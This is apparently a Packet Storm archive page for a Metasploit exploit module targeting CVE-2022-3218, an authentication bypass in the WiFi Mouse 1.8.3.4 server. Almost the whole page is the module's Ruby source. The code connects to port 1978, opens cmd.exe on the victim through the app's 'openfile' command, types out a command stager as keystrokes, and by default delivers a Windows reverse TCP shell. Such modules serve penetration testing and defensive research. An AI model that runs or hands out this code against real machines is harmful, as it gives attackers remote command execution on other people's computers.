exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WiFi Mouse 1.8.3.4 Remote Code Execution

WiFi Mouse 1.8.3.4 Remote Code Execution
Posted Sep 26, 2022
Authored by h00die, H4rk3nz0, RedHatAugust | Site metasploit.com

The WiFi Mouse (Mouse Server) from Necta LLC contains an authentication bypass as the authentication is completely implemented entirely on the client side. By utilizing this vulnerability, is possible to open a program on the server (cmd.exe in our case) and type commands that will be executed as the user running WiFi Mouse (Mouse Server), resulting in remote code execution. Tested against versions 1.8.3.4 (current as of module writing) and 1.8.2.3.

tags | exploit, remote, code execution
advisories | CVE-2022-3218
SHA-256 | a1eb49c803eef32a7d3986d02c20457c3afa4cb25fe942b90918d6d5bcceb6e6

WiFi Mouse 1.8.3.4 Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Exploit::Remote::Tcp
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wifi Mouse RCE',
'Description' => %q{
The WiFi Mouse (Mouse Server) from Necta LLC contains an auth bypass as the
authentication is completely implemented entirely on the client side. By utilizing
this vulnerability, is possible to open a program on the server
(cmd.exe in our case) and type commands that will be executed as the user running
WiFi Mouse (Mouse Server), resulting in remote code execution.

Tested against versions 1.8.3.4 (current as of module writing) and
1.8.2.3.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'REDHATAUGUST', # edb
'H4RK3NZ0' # edb, original discovery
],
'References' => [
[ 'EDB', '50972' ],
[ 'EDB', '49601' ],
[ 'CVE', '2022-3218' ],
[ 'URL', 'http://wifimouse.necta.us/' ],
[ 'URL', 'https://github.com/H4rk3nz0/PenTesting/blob/main/Exploits/wifi%20mouse/wifi-mouse-server-rce.py' ]
],
'Arch' => [ ARCH_X64, ARCH_X86 ],
'Platform' => 'win',
'Targets' => [
[
'stager',
{
'CmdStagerFlavor' => ['psh_invokewebrequest', 'certutil']
}
],
],
'Payload' => {
'BadChars' => "\x0a\x00"
},
'DefaultOptions' => {
# since this may get typed out ON SCREEN we want as small a payload as possible
'PAYLOAD' => 'windows/shell/reverse_tcp'
},
'DisclosureDate' => '2021-02-25',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [CRASH_SERVICE_DOWN],
'SideEffects' => [SCREEN_EFFECTS, ARTIFACTS_ON_DISK] # typing on screen
}
)
)
register_options(
[
OptPort.new('RPORT', [true, 'Port WiFi Mouse Mouse Server runs on', 1978]),
OptInt.new('SLEEP', [true, 'How long to sleep between commands', 1]),
OptInt.new('LINEMAX', [true, 'Maximum length of lines to send for stager method. Smaller for more unstable connections.', 1_020]),
]
)
end

def send_return
sock.put('key 3RTN') # what the mobile app sends
end

def send_command(command)
sock.put("utf8 #{command}\x0A")
sleep(datastore['SLEEP'])
send_return
end

def open_file(file)
file = "/#{file}".gsub('\\', '/').gsub(':', '')
sock.put("openfile #{file}\x0A")
end

def exploit
connect
print_status('Opening command prompt')
open_file('C:\\Windows\\System32\\cmd.exe')
sleep(datastore['SLEEP']) # give time for it to open

print_status('Typing out payload')
execute_cmdstager({ linemax: datastore['LINEMAX'], delay: datastore['SLEEP'] })

handler
end

def execute_command(cmd, _opts = {})
send_command(cmd)
end
end
Login or Register to add favorites

File Archive:

November 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    16 Files
  • 2
    Nov 2nd
    17 Files
  • 3
    Nov 3rd
    17 Files
  • 4
    Nov 4th
    11 Files
  • 5
    Nov 5th
    0 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    3 Files
  • 8
    Nov 8th
    59 Files
  • 9
    Nov 9th
    12 Files
  • 10
    Nov 10th
    6 Files
  • 11
    Nov 11th
    11 Files
  • 12
    Nov 12th
    1 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    9 Files
  • 15
    Nov 15th
    33 Files
  • 16
    Nov 16th
    53 Files
  • 17
    Nov 17th
    11 Files
  • 18
    Nov 18th
    14 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    26 Files
  • 22
    Nov 22nd
    22 Files
  • 23
    Nov 23rd
    10 Files
  • 24
    Nov 24th
    9 Files
  • 25
    Nov 25th
    11 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close